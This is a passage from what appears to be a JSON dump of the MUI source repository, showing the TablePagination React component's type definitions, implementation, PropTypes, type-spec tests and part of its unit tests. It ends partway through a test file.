React.ElementType<TablePaginationActionsProps> | undefined;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<TablePaginationClasses> | undefined;\n  /**\n   * The total number of rows.\n   *\n   * To enable server side pagination for an unknown number of items, provide -1.\n   */\n  count: number;\n  /**\n   * If `true`, the component is disabled.\n   * @default false\n   */\n  disabled?: boolean | undefined;\n  /**\n   * Accepts a function which returns a string value that provides a user-friendly name for the current page.\n   * This is important for screen reader users.\n   *\n   * For localization purposes, you can use the provided [translations](https://mui.com/material-ui/guides/localization/).\n   * @param {string} type The link or button type to format ('first' | 'last' | 'next' | 'previous').\n   * @returns {string}\n   * @default function defaultGetAriaLabel(type) {\n   *   return `Go to ${type} page`;\n   * }\n   */\n  getItemAriaLabel?: ((type: 'first' | 'last' | 'next' | 'previous') => string) | undefined;\n  /**\n   * Customize the displayed rows label. Invoked with a `{ from, to, count, page }`\n   * object.\n   *\n   * For localization purposes, you can use the provided [translations](https://mui.com/material-ui/guides/localization/).\n   * @default function defaultLabelDisplayedRows({ from, to, count }) {\n   *   return `${formatNumber(from)}–${formatNumber(to)} of ${count !== -1 ? formatNumber(count) : `more than ${formatNumber(to)}`}`;\n   * }\n   */\n  labelDisplayedRows?: ((paginationInfo: LabelDisplayedRowsArgs) => React.ReactNode) | undefined;\n  /**\n   * Customize the rows per page label.\n   *\n   * For localization purposes, you can use the provided [translations](https://mui.com/material-ui/guides/localization/).\n   * @default 'Rows per page:'\n   */\n  labelRowsPerPage?: React.ReactNode;\n  /**\n   * Callback fired when the page is changed.\n   *\n   * @param {React.MouseEvent<HTMLButtonElement> | null} event The event source of the callback.\n   * @param {number} page The page selected.\n   */\n  onPageChange: (event: React.MouseEvent<HTMLButtonElement> | null, page: number) => void;\n  /**\n   * Callback fired when the number of rows per page is changed.\n   *\n   * @param {React.ChangeEvent<HTMLTextAreaElement | HTMLInputElement>} event The event source of the callback.\n   */\n  onRowsPerPageChange?:\n    | React.ChangeEventHandler<HTMLTextAreaElement | HTMLInputElement>\n    | undefined;\n  /**\n   * The zero-based index of the current page.\n   */\n  page: number;\n  /**\n   * The number of rows per page.\n   *\n   * Set -1 to display all the rows.\n   */\n  rowsPerPage: number;\n  /**\n   * Customizes the options of the rows per page select field. If less than two options are\n   * available, no select field will be displayed.\n   * Use -1 for the value with a custom label to show all the rows.\n   * @default [10, 25, 50, 100]\n   */\n  rowsPerPageOptions?: ReadonlyArray<number | { value: number; label: string }> | undefined;\n  /**\n   * If `true`, show the first-page button.\n   * @default false\n   */\n  showFirstButton?: boolean | undefined;\n  /**\n   * If `true`, show the last-page button.\n   * @default false\n   */\n  showLastButton?: boolean | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n}\n\nexport interface TablePaginationOwnerState extends TablePaginationOwnProps {}\n\nexport interface TablePaginationTypeMap<AdditionalProps, RootComponent extends React.ElementType> {\n  props: AdditionalProps & TablePaginationOwnProps & TablePaginationSlotsAndSlotProps;\n  defaultComponent: RootComponent;\n}\n\n/**\n * A `TableCell` based component for placing inside `TableFooter` for pagination.\n *\n * Demos:\n *\n * - [Pagination](https://next.mui.com/material-ui/react-pagination/)\n * - [Table](https://next.mui.com/material-ui/react-table/)\n *\n * API:\n *\n * - [TablePagination API](https://next.mui.com/material-ui/api/table-pagination/)\n * - inherits [TableCell API](https://next.mui.com/material-ui/api/table-cell/)\n */\ndeclare const TablePagination: OverridableComponent<\n  TablePaginationTypeMap<{}, React.JSXElementConstructor<TablePaginationBaseProps>>\n>;\n\nexport type TablePaginationProps<\n  RootComponent extends React.ElementType = React.JSXElementConstructor<TablePaginationBaseProps>,\n  AdditionalProps = {},\n> = OverrideProps<TablePaginationTypeMap<AdditionalProps, RootComponent>, RootComponent> & {\n  component?: React.ElementType | undefined;\n};\n\nexport default TablePagination;\n"
  },
  {
    "path": "packages/mui-material/src/TablePagination/TablePagination.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport integerPropType from '@mui/utils/integerPropType';\nimport chainPropTypes from '@mui/utils/chainPropTypes';\nimport composeClasses from '@mui/utils/composeClasses';\nimport { styled } from '../zero-styled';\nimport memoTheme from '../utils/memoTheme';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport InputBase from '../InputBase';\nimport MenuItem from '../MenuItem';\nimport Select from '../Select';\nimport TableCell from '../TableCell';\nimport Toolbar from '../Toolbar';\nimport TablePaginationActions from '../TablePaginationActions';\nimport useId from '../utils/useId';\nimport tablePaginationClasses, { getTablePaginationUtilityClass } from './tablePaginationClasses';\nimport useSlot from '../utils/useSlot';\nimport buildFormatNumber from '../locale/utils/buildFormatNumber';\n\nconst formatNumber = buildFormatNumber('en-US');\n\nconst TablePaginationRoot = styled(TableCell, {\n  name: 'MuiTablePagination',\n  slot: 'Root',\n})(\n  memoTheme(({ theme }) => ({\n    overflow: 'auto',\n    color: (theme.vars || theme).palette.text.primary,\n    fontSize: theme.typography.pxToRem(14),\n    // Increase the specificity to override TableCell.\n    '&:last-child': {\n      padding: 0,\n    },\n  })),\n);\n\nconst TablePaginationToolbar = styled(Toolbar, {\n  name: 'MuiTablePagination',\n  slot: 'Toolbar',\n  overridesResolver: (props, styles) => ({\n    [`& .${tablePaginationClasses.actions}`]: styles.actions,\n    ...styles.toolbar,\n  }),\n})(\n  memoTheme(({ theme }) => ({\n    minHeight: 52,\n    paddingRight: 2,\n    [`${theme.breakpoints.up('xs')} and (orientation: landscape)`]: {\n      minHeight: 52,\n    },\n    [theme.breakpoints.up('sm')]: {\n      minHeight: 52,\n      paddingRight: 2,\n    },\n    [`& .${tablePaginationClasses.actions}`]: {\n      flexShrink: 0,\n      marginLeft: 20,\n    },\n  })),\n);\n\nconst TablePaginationSpacer = styled('div', {\n  name: 'MuiTablePagination',\n  slot: 'Spacer',\n})({\n  flex: '1 1 100%',\n});\n\nconst TablePaginationSelectLabel = styled('p', {\n  name: 'MuiTablePagination',\n  slot: 'SelectLabel',\n})(\n  memoTheme(({ theme }) => ({\n    ...theme.typography.body2,\n    flexShrink: 0,\n  })),\n);\n\nconst TablePaginationSelect = styled(Select, {\n  name: 'MuiTablePagination',\n  slot: 'Select',\n  overridesResolver: (props, styles) => ({\n    [`& .${tablePaginationClasses.selectIcon}`]: styles.selectIcon,\n    [`& .${tablePaginationClasses.select}`]: styles.select,\n    ...styles.input,\n    ...styles.selectRoot,\n  }),\n})({\n  color: 'inherit',\n  fontSize: 'inherit',\n  flexShrink: 0,\n  marginRight: 32,\n  marginLeft: 8,\n  [`& .${tablePaginationClasses.select}`]: {\n    paddingLeft: 8,\n    paddingRight: 24,\n    textAlign: 'right',\n    textAlignLast: 'right', // Align <select> on Chrome.\n  },\n});\n\nconst TablePaginationMenuItem = styled(MenuItem, {\n  name: 'MuiTablePagination',\n  slot: 'MenuItem',\n})({});\n\nconst TablePaginationDisplayedRows = styled('p', {\n  name: 'MuiTablePagination',\n  slot: 'DisplayedRows',\n})(\n  memoTheme(({ theme }) => ({\n    ...theme.typography.body2,\n    flexShrink: 0,\n  })),\n);\n\nfunction defaultLabelDisplayedRows({ from, to, count }) {\n  return `${formatNumber(from)}–${formatNumber(to)} of ${count !== -1 ? formatNumber(count) : `more than ${formatNumber(to)}`}`;\n}\n\nfunction defaultGetAriaLabel(type) {\n  return `Go to ${type} page`;\n}\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes } = ownerState;\n  const slots = {\n    root: ['root'],\n    toolbar: ['toolbar'],\n    spacer: ['spacer'],\n    selectLabel: ['selectLabel'],\n    select: ['select'],\n    input: ['input'],\n    selectIcon: ['selectIcon'],\n    menuItem: ['menuItem'],\n    displayedRows: ['displayedRows'],\n    actions: ['actions'],\n  };\n\n  return composeClasses(slots, getTablePaginationUtilityClass, classes);\n};\n\n/**\n * A `TableCell` based component for placing inside `TableFooter` for pagination.\n */\nconst TablePagination = React.forwardRef(function TablePagination(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiTablePagination' });\n  const {\n    ActionsComponent = TablePaginationActions,\n    colSpan: colSpanProp,\n    component = TableCell,\n    count,\n    disabled = false,\n    getItemAriaLabel = defaultGetAriaLabel,\n    labelDisplayedRows = defaultLabelDisplayedRows,\n    labelRowsPerPage = 'Rows per page:',\n    onPageChange,\n    onRowsPerPageChange,\n    page,\n    rowsPerPage,\n    rowsPerPageOptions = [10, 25, 50, 100],\n    showFirstButton = false,\n    showLastButton = false,\n    slotProps = {},\n    slots = {},\n    ...other\n  } = props;\n\n  const ownerState = props;\n  const classes = useUtilityClasses(ownerState);\n\n  const selectProps =\n    typeof slotProps?.select === 'function'\n      ? slotProps.select(ownerState)\n      : (slotProps?.select ?? {});\n\n  const MenuItemComponent = selectProps.native ? 'option' : TablePaginationMenuItem;\n\n  let colSpan;\n  if (component === TableCell || component === 'td') {\n    colSpan = colSpanProp || 1000; // col-span over everything\n  }\n\n  const selectId = useId(selectProps.id);\n  const labelId = useId(selectProps.labelId);\n\n  const getLabelDisplayedRowsTo = () => {\n    if (count === -1) {\n      return (page + 1) * rowsPerPage;\n    }\n    return rowsPerPage === -1 ? count : Math.min(count, (page + 1) * rowsPerPage);\n  };\n\n  const externalForwardedProps = { slots, slotProps };\n\n  const [RootSlot, rootSlotProps] = useSlot('root', {\n    ref,\n    className: classes.root,\n    elementType: TablePaginationRoot,\n    externalForwardedProps: {\n      ...externalForwardedProps,\n      component,\n      ...other,\n    },\n    ownerState,\n    additionalProps: {\n      colSpan,\n    },\n  });\n\n  const [ToolbarSlot, toolbarSlotProps] = useSlot('toolbar', {\n    className: classes.toolbar,\n    elementType: TablePaginationToolbar,\n    externalForwardedProps,\n    ownerState,\n  });\n\n  const [SpacerSlot, spacerSlotProps] = useSlot('spacer', {\n    className: classes.spacer,\n    elementType: TablePaginationSpacer,\n    externalForwardedProps,\n    ownerState,\n  });\n\n  const [SelectLabelSlot, selectLabelSlotProps] = useSlot('selectLabel', {\n    className: classes.selectLabel,\n    elementType: TablePaginationSelectLabel,\n    externalForwardedProps,\n    ownerState,\n    additionalProps: {\n      id: labelId,\n    },\n  });\n\n  const [SelectSlot, selectSlotProps] = useSlot('select', {\n    className: classes.select,\n    elementType: TablePaginationSelect,\n    externalForwardedProps,\n    ownerState,\n  });\n\n  const [MenuItemSlot, menuItemSlotProps] = useSlot('menuItem', {\n    className: classes.menuItem,\n    elementType: MenuItemComponent,\n    externalForwardedProps,\n    ownerState,\n  });\n\n  const [DisplayedRows, displayedRowsProps] = useSlot('displayedRows', {\n    className: classes.displayedRows,\n    elementType: TablePaginationDisplayedRows,\n    externalForwardedProps,\n    ownerState,\n  });\n\n  return (\n    <RootSlot {...rootSlotProps}>\n      <ToolbarSlot {...toolbarSlotProps}>\n        <SpacerSlot {...spacerSlotProps} />\n        {rowsPerPageOptions.length > 1 && (\n          <SelectLabelSlot {...selectLabelSlotProps}>{labelRowsPerPage}</SelectLabelSlot>\n        )}\n\n        {rowsPerPageOptions.length > 1 && (\n          <SelectSlot\n            variant=\"standard\"\n            {...(!selectProps.variant && { input: <InputBase /> })}\n            value={rowsPerPage}\n            onChange={onRowsPerPageChange}\n            id={selectId}\n            labelId={labelId}\n            {...selectProps}\n            classes={{\n              ...selectProps.classes,\n              // TODO v5 remove `classes.input`\n              root: clsx(classes.input, classes.selectRoot, (selectProps.classes || {}).root),\n              select: clsx(classes.select, (selectProps.classes || {}).select),\n              // TODO v5 remove `selectIcon`\n              icon: clsx(classes.selectIcon, (selectProps.classes || {}).icon),\n            }}\n            disabled={disabled}\n            {...selectSlotProps}\n          >\n            {rowsPerPageOptions.map((rowsPerPageOption) => (\n              <MenuItemSlot\n                {...menuItemSlotProps}\n                key={rowsPerPageOption.label ? rowsPerPageOption.label : rowsPerPageOption}\n                value={rowsPerPageOption.value ? rowsPerPageOption.value : rowsPerPageOption}\n              >\n                {rowsPerPageOption.label ? rowsPerPageOption.label : rowsPerPageOption}\n              </MenuItemSlot>\n            ))}\n          </SelectSlot>\n        )}\n\n        <DisplayedRows {...displayedRowsProps}>\n          {labelDisplayedRows({\n            from: count === 0 ? 0 : page * rowsPerPage + 1,\n            to: getLabelDisplayedRowsTo(),\n            count: count === -1 ? -1 : count,\n            page,\n          })}\n        </DisplayedRows>\n        <ActionsComponent\n          className={classes.actions}\n          count={count}\n          onPageChange={onPageChange}\n          page={page}\n          rowsPerPage={rowsPerPage}\n          showFirstButton={showFirstButton}\n          showLastButton={showLastButton}\n          slotProps={slotProps.actions}\n          slots={slots.actions}\n          getItemAriaLabel={getItemAriaLabel}\n          disabled={disabled}\n        />\n      </ToolbarSlot>\n    </RootSlot>\n  );\n});\n\nTablePagination.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The component used for displaying the actions.\n   * Either a string to use a HTML element or a component.\n   * @default TablePaginationActions\n   */\n  ActionsComponent: PropTypes.elementType,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  colSpan: PropTypes.number,\n  /**\n   * The component used for the root node.\n   * Either a string to use a HTML element or a component.\n   */\n  component: PropTypes.elementType,\n  /**\n   * The total number of rows.\n   *\n   * To enable server side pagination for an unknown number of items, provide -1.\n   */\n  count: integerPropType.isRequired,\n  /**\n   * If `true`, the component is disabled.\n   * @default false\n   */\n  disabled: PropTypes.bool,\n  /**\n   * Accepts a function which returns a string value that provides a user-friendly name for the current page.\n   * This is important for screen reader users.\n   *\n   * For localization purposes, you can use the provided [translations](https://mui.com/material-ui/guides/localization/).\n   * @param {string} type The link or button type to format ('first' | 'last' | 'next' | 'previous').\n   * @returns {string}\n   * @default function defaultGetAriaLabel(type) {\n   *   return `Go to ${type} page`;\n   * }\n   */\n  getItemAriaLabel: PropTypes.func,\n  /**\n   * Customize the displayed rows label. Invoked with a `{ from, to, count, page }`\n   * object.\n   *\n   * For localization purposes, you can use the provided [translations](https://mui.com/material-ui/guides/localization/).\n   * @default function defaultLabelDisplayedRows({ from, to, count }) {\n   *   return `${formatNumber(from)}–${formatNumber(to)} of ${count !== -1 ? formatNumber(count) : `more than ${formatNumber(to)}`}`;\n   * }\n   */\n  labelDisplayedRows: PropTypes.func,\n  /**\n   * Customize the rows per page label.\n   *\n   * For localization purposes, you can use the provided [translations](https://mui.com/material-ui/guides/localization/).\n   * @default 'Rows per page:'\n   */\n  labelRowsPerPage: PropTypes.node,\n  /**\n   * Callback fired when the page is changed.\n   *\n   * @param {React.MouseEvent<HTMLButtonElement> | null} event The event source of the callback.\n   * @param {number} page The page selected.\n   */\n  onPageChange: PropTypes.func.isRequired,\n  /**\n   * Callback fired when the number of rows per page is changed.\n   *\n   * @param {React.ChangeEvent<HTMLTextAreaElement | HTMLInputElement>} event The event source of the callback.\n   */\n  onRowsPerPageChange: PropTypes.func,\n  /**\n   * The zero-based index of the current page.\n   */\n  page: chainPropTypes(integerPropType.isRequired, (props) => {\n    const { count, page, rowsPerPage } = props;\n\n    if (count === -1) {\n      return null;\n    }\n\n    const newLastPage = Math.max(0, Math.ceil(count / rowsPerPage) - 1);\n    if (page < 0 || page > newLastPage) {\n      return new Error(\n        'MUI: The page prop of a TablePagination is out of range ' +\n          `(0 to ${newLastPage}, but page is ${page}).`,\n      );\n    }\n    return null;\n  }),\n  /**\n   * The number of rows per page.\n   *\n   * Set -1 to display all the rows.\n   */\n  rowsPerPage: integerPropType.isRequired,\n  /**\n   * Customizes the options of the rows per page select field. If less than two options are\n   * available, no select field will be displayed.\n   * Use -1 for the value with a custom label to show all the rows.\n   * @default [10, 25, 50, 100]\n   */\n  rowsPerPageOptions: PropTypes.arrayOf(\n    PropTypes.oneOfType([\n      PropTypes.number,\n      PropTypes.shape({\n        label: PropTypes.string.isRequired,\n        value: PropTypes.number.isRequired,\n      }),\n    ]).isRequired,\n  ),\n  /**\n   * If `true`, show the first-page button.\n   * @default false\n   */\n  showFirstButton: PropTypes.bool,\n  /**\n   * If `true`, show the last-page button.\n   * @default false\n   */\n  showLastButton: PropTypes.bool,\n  /**\n   * The props used for each slot inside.\n   * @default {}\n   */\n  slotProps: PropTypes.shape({\n    actions: PropTypes.shape({\n      firstButton: PropTypes.object,\n      firstButtonIcon: PropTypes.object,\n      lastButton: PropTypes.object,\n      lastButtonIcon: PropTypes.object,\n      nextButton: PropTypes.object,\n      nextButtonIcon: PropTypes.object,\n      previousButton: PropTypes.object,\n      previousButtonIcon: PropTypes.object,\n    }),\n    displayedRows: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    menuItem: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    root: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    select: PropTypes.object,\n    selectLabel: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    spacer: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    toolbar: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n  }),\n  /**\n   * The components used for each slot inside.\n   * @default {}\n   */\n  slots: PropTypes.shape({\n    actions: PropTypes.shape({\n      firstButton: PropTypes.elementType,\n      firstButtonIcon: PropTypes.elementType,\n      lastButton: PropTypes.elementType,\n      lastButtonIcon: PropTypes.elementType,\n      nextButton: PropTypes.elementType,\n      nextButtonIcon: PropTypes.elementType,\n      previousButton: PropTypes.elementType,\n      previousButtonIcon: PropTypes.elementType,\n    }),\n    displayedRows: PropTypes.elementType,\n    menuItem: PropTypes.elementType,\n    root: PropTypes.elementType,\n    select: PropTypes.elementType,\n    selectLabel: PropTypes.elementType,\n    spacer: PropTypes.elementType,\n    toolbar: PropTypes.elementType,\n  }),\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n};\n\nexport default TablePagination;\n"
  },
  {
    "path": "packages/mui-material/src/TablePagination/TablePagination.spec.tsx",
    "content": "import TablePagination, { TablePaginationOwnerState } from '@mui/material/TablePagination';\nimport SvgIcon from '@mui/material/SvgIcon';\nimport IconButton, { IconButtonProps } from '@mui/material/IconButton';\nimport { expectType } from '@mui/types';\n\nfunction SampleIcon() {\n  return (\n    <SvgIcon>\n      <path d=\"M10 20v-6h4v6h5v-8h3L12 3 2 12h3v8z\" />\n    </SvgIcon>\n  );\n}\n\nfunction CustomIconButton(props: IconButtonProps) {\n  const { children, ...other } = props;\n  return (\n    <IconButton {...other} color=\"secondary\" size=\"large\">\n      {children}\n    </IconButton>\n  );\n}\n\nfunction classesTest() {\n  const defaultProps = {\n    count: 1,\n    onPageChange: () => {},\n    page: 1,\n    rowsPerPage: 1,\n  };\n\n  <TablePagination classes={{ actions: 'actions' }} {...defaultProps} />;\n  // @ts-expect-error desired\n  <TablePagination classes={{ alignCenter: 'center' }} {...defaultProps} />;\n}\n\n// slots and slotProps type test\n<TablePagination\n  rowsPerPageOptions={[10, 25, 100]}\n  component=\"div\"\n  count={1}\n  rowsPerPage={1}\n  page={1}\n  onPageChange={() => {}}\n  showFirstButton\n  showLastButton\n  slots={{\n    actions: {\n      firstButton: CustomIconButton,\n      lastButton: CustomIconButton,\n      nextButton: CustomIconButton,\n      previousButton: CustomIconButton,\n\n      firstButtonIcon: SampleIcon,\n      lastButtonIcon: SampleIcon,\n      nextButtonIcon: SampleIcon,\n      previousButtonIcon: SampleIcon,\n    },\n  }}\n  slotProps={{\n    actions: {\n      firstButton: {\n        disableFocusRipple: true,\n      },\n      lastButton: {\n        disableTouchRipple: true,\n      },\n      nextButton: {\n        disableRipple: true,\n      },\n      previousButton: {\n        centerRipple: true,\n      },\n\n      firstButtonIcon: {\n        fontSize: 'small',\n      },\n      lastButtonIcon: {\n        color: 'success',\n      },\n      nextButtonIcon: {\n        inheritViewBox: true,\n      },\n      previousButtonIcon: {\n        fill: 'currentColor',\n      },\n    },\n    select: {\n      size: 'small',\n      variant: 'filled',\n      hiddenLabel: true,\n      disableUnderline: true,\n    },\n  }}\n/>;\n<TablePagination\n  count={1}\n  rowsPerPage={1}\n  page={1}\n  onPageChange={() => {}}\n  slots={{\n    root: 'div',\n    toolbar: 'div',\n    spacer: 'div',\n    displayedRows: 'p',\n    select: 'select',\n    selectLabel: 'label',\n    menuItem: 'div',\n  }}\n  slotProps={{\n    root: {\n      id: 'root',\n    },\n    toolbar: {\n      id: 'toolbar',\n      disableGutters: true,\n    },\n    displayedRows: {\n      id: 'displayedRows',\n    },\n    menuItem: {\n      id: 'menuItem',\n    },\n    selectLabel: {\n      id: 'selectLabel',\n    },\n    spacer: {\n      id: 'spacer',\n    },\n  }}\n/>;\n<TablePagination\n  count={1}\n  rowsPerPage={1}\n  page={1}\n  onPageChange={() => {}}\n  slotProps={{\n    root: (ownerState) => {\n      expectType<TablePaginationOwnerState, typeof ownerState>(ownerState);\n      return {\n        id: 'root',\n      };\n    },\n    toolbar: (ownerState) => {\n      expectType<TablePaginationOwnerState, typeof ownerState>(ownerState);\n      return {\n        id: 'toolbar',\n        disableGutters: true,\n      };\n    },\n    displayedRows: (ownerState) => {\n      expectType<TablePaginationOwnerState, typeof ownerState>(ownerState);\n      return {\n        id: 'displayedRows',\n      };\n    },\n    menuItem: (ownerState) => {\n      expectType<TablePaginationOwnerState, typeof ownerState>(ownerState);\n      return {\n        id: 'menuItem',\n      };\n    },\n    selectLabel: (ownerState) => {\n      expectType<TablePaginationOwnerState, typeof ownerState>(ownerState);\n      return {\n        id: 'selectLabel',\n      };\n    },\n    spacer: (ownerState) => {\n      expectType<TablePaginationOwnerState, typeof ownerState>(ownerState);\n      return {\n        id: 'spacer',\n      };\n    },\n  }}\n/>;\n"
  },
  {
    "path": "packages/mui-material/src/TablePagination/TablePagination.test.js",
    "content": "import * as React from 'react';\nimport { expect } from 'chai';\nimport { spy } from 'sinon';\nimport PropTypes from 'prop-types';\nimport { fireEvent, createRenderer, screen } from '@mui/internal-test-utils';\nimport TableFooter from '@mui/material/TableFooter';\nimport TableCell from '@mui/material/TableCell';\nimport TableRow from '@mui/material/TableRow';\nimport TablePagination, { tablePaginationClasses as classes } from '@mui/material/TablePagination';\nimport { inputClasses } from '@mui/material/Input';\nimport { outlinedInputClasses } from '@mui/material/OutlinedInput';\nimport { filledInputClasses } from '@mui/material/FilledInput';\nimport IconButton, { iconButtonClasses } from '@mui/material/IconButton';\nimport { svgIconClasses } from '@mui/material/SvgIcon';\nimport { createSvgIcon } from '@mui/material/utils';\nimport describeConformance from '../../test/describeConformance';\n\nconst ArrowBackIcon = createSvgIcon(<path d=\"M3 3h18v18H3z\" />, 'ArrowBack');\nconst ArrowForwardIcon = createSvgIcon(<path d=\"M3 3h18v18H3z\" />, 'ArrowForward');\nconst KeyboardDoubleArrowLeftRoundedIcon = createSvgIcon(\n  <path d=\"M3 3h18v18H3z\" />,\n  'KeyboardDoubleArrowLeftRounded',\n);\nconst KeyboardDoubleArrowRightRoundedIcon = createSvgIcon(\n  <path d=\"M3 3h18v18H3z\" />,\n  'KeyboardDoubleArrowRightRounded',\n);\n\ndescribe('<TablePagination />', () => {\n  const noop = () => {};\n  const { render } = createRenderer();\n\n  describeConformance(\n    <TablePagination count={1} onPageChange={noop} page={0} rowsPerPage={10} />,\n    () => ({\n      classes,\n      inheritComponent: TableCell,\n      render: (node) => {\n        const { container, ...other } = render(\n          <table>\n            <tbody>\n              <tr>{node}</tr>\n            </tbody>\n          </table>,\n        );\n        return { container: container.firstChild.firstChild.firstChild, ...other };\n      },\n      muiName: 'MuiTablePagination',\n      refInstanceof: window.HTMLTableCellElement,\n      testComponentPropWith: 'td',\n      testComponentsRootPropWith: 'td',\n      testRootOverrides: { slotName: 'root', slotClassName: classes.root },\n      testDeepOverrides: [\n        { slotName: 'toolbar', slotClassName: classes.toolbar },\n        { slotName: 'spacer', slotClassName: classes.spacer },\n        { slotName: 'selectLabel', slotClassName: classes.selectLabel },\n        { slotName: 'displayedRows', slotClassName: classes.displayedRows },\n      ],\n      slots: {\n        root: {\n          expectedClassName: classes.root,\n          testWithComponent: React.forwardRef((props, ref) => (\n            <TableCell component=\"th\" ref={ref} {...props} data-testid=\"custom\" />\n          )),\n          testWithElement: 'th',\n        },\n        toolbar: { expectedClassName: classes.toolbar },\n        spacer: { expectedClassName: classes.spacer },\n        selectLabel: { expectedClassName: classes.selectLabel },\n        displayedRows: { expectedClassName: classes.displayedRows },\n      },\n      skip: ['themeVariants'],\n    }),\n  );\n\n  describe('prop: labelDisplayedRows', () => {\n    it('should use the labelDisplayedRows callback', () => {\n      let labelDisplayedRowsCalled = false;\n      function labelDisplayedRows({ from, to, count, page }) {\n        labelDisplayedRowsCalled = true;\n        expect(from).to.equal(11);\n        expect(to).to.equal(20);\n        expect(count).to.equal(42);\n        expect(page).to.equal(1);\n        return `Page ${page}`;\n      }\n\n      const { container } = render(\n        <table>\n          <TableFooter>\n            <TableRow>\n              <TablePagination\n                count={42}\n                page={1}\n                onPageChange={noop}\n                onRowsPerPageChange={noop}\n                rowsPerPage={10}\n                labelDisplayedRows={labelDisplayedRows}\n              />\n            </TableRow>\n          </TableFooter>\n        </table>,\n      );\n      expect(labelDisplayedRowsCalled).to.equal(true);\n      expect(container.innerHTML.includes('Page 1')).to.equal(true);\n    });\n  });\n\n  describe('prop: labelRowsPerPage', () => {\n    it('labels the select for the current page', () => {\n      render(\n        <table>\n          <TableFooter>\n            <TableRow>\n              <TablePagination\n                count={1}\n                page={0}\n                onPageChange={noop}\n                onRowsPerPageChange={noop}\n                rowsPerPage={10}\n                labelRowsPerPage=\"lines per page:\"\n              />\n            </TableRow>\n          </TableFooter>\n        </table>,\n      );\n\n      const combobox = screen.getByRole('combobox');\n      expect(combobox).toHaveAccessibleName('lines per page:');\n    });\n\n    it('accepts React nodes', () => {\n      render(\n        <table>\n          <TableFooter>\n            <TableRow>\n              <TablePagination\n                count={1}\n                page={0}\n                onPageChange={noop}\n                onRowsPerPageChange={noop}\n                rowsPerPage={10}\n                labelRowsPerPage={\n                  <React.Fragment>\n                    <em>lines</em> per page:\n                  </React.Fragment>\n                }\n              />\n            </TableRow>\n          </TableFooter>\n        </table>,\n      );\n\n      const combobox = screen.getByRole('combobox');\n      expect(combobox).toHaveAccessibleName('lines per page:');\n    });\n  });\n\n  describe('prop: page', () => {\n    it('should disable the back button on the first page', () => {\n      render(\n        <table>\n          <TableFooter>\n            <TableRow>\n              <TablePagination\n                count={11}\n                page={0}\n                onPageChange={noop}\n                onRowsPerPageChange={noop}\n                rowsPerPage={10}\n              />\n            </TableRow>\n          </TableFooter>\n        </table>,\n      );\n\n      const backButton = screen.getByRole('button', { name: 'Go to previous page' });\n      const nextButton = screen.getByRole('button', { name: 'Go to next page' });\n      expect(backButton).to.have.property('disabled', true);\n      expect(nextButton).to.have.property('disabled', false);\n    });\n\n    it('should disable the next button on the last page', () => {\n      render(\n        <table>\n          <TableFooter>\n            <TableRow>\n              <TablePagination\n                count={11}\n                page={1}\n                onPageChange={noop}\n                onRowsPerPageChange={noop}\n                rowsPerPage={10}\n              />\n            </TableRow>\n          </TableFooter>\n        </table>,\n      );\n\n      const backButton = screen.getByRole('button', { name: 'Go to previous page' });\n      const nextButton = screen.getByRole('button', { name: 'Go to next page' });\n      expect(backButton).to.have.property('disabled', false);\n      expect(nextButton).to.have.property('disabled', true);\n    });\n  });\n\n  describe('prop: onPageChange', () => {\n    it('should handle next button clicks properly', () => {\n      let page = 1;\n\n      render(\n        <table>\n          <TableFooter>\n            <TableRow>\n              <TablePagination\n                count={30}\n                page={page}\n                onPageChange={(event, nextPage) => {\n                  page = nextPage;\n                }}\n                onRowsPerPageChange={noop}\n                rowsPerPage={10}\n              />\n            </TableRow>\n          </TableFooter>\n        </table>,\n      );\n\n      const nextButton = screen.getByRole('button', { name: 'Go to next page' });\n      fireEvent.click(nextButton);\n      expect(page).to.equal(2);\n    });\n\n    it('should handle back button clicks properly', () => {\n      let page = 1;\n\n      render(\n        <table>\n          <TableFooter>\n            <TableRow>\n              <TablePagination\n                count={30}\n                page={page}\n                onPageChange={(event, nextPage) => {\n                  page = nextPage;\n                }}\n                onRowsPerPageChange={noop}\n                rowsPerPage={10}\n              />\n            </TableRow>\n          </TableFooter>\n        </table>,\n      );\n\n      const backButton = screen.getByRole('button', { name: 'Go to previous page' });\n      fireEvent.click(backButton);\n      expect(page).to.equal(0);\n    });\n  });\n\n  describe('label', () => {\n    it('should display 0 as start number if the table is empty', () => {\n      const { container } = render(\n        <table>\n          <TableFooter>\n            <TableRow>\n              <TablePagination\n                count={0}\n                page={0}\n                rowsPerPage={10}\n                onPageChange={noop}\n                onRowsPerPageChange={noop}\n              />\n            </TableRow>\n          </TableFooter>\n        </table>,\n      );\n      expect(container.querySelectorAll('p')[1]).to.have.text('0–0 of 0');\n    });\n\n    it('should hide the rows per page selector if there are less than two options', () => {\n      const { container } = render(\n        <table>\n          <TableFooter>\n            <TableRow>\n              <TablePagination\n                page={0}\n                rowsPerPage={5}\n                rowsPerPageOptions={[5]}\n                onPageChange={noop}\n                onRowsPerPageChange={noop}\n                count={10}\n              />\n            </TableRow>\n          </TableFooter>\n        </table>,\n      );\n\n      expect(container).not.to.include.text('Rows per page');\n      expect(screen.queryByRole('listbox')).to.equal(null);\n    });\n  });\n\n  describe('prop: count=-1', () => {\n    it('should display the \"of more than\" text and keep the 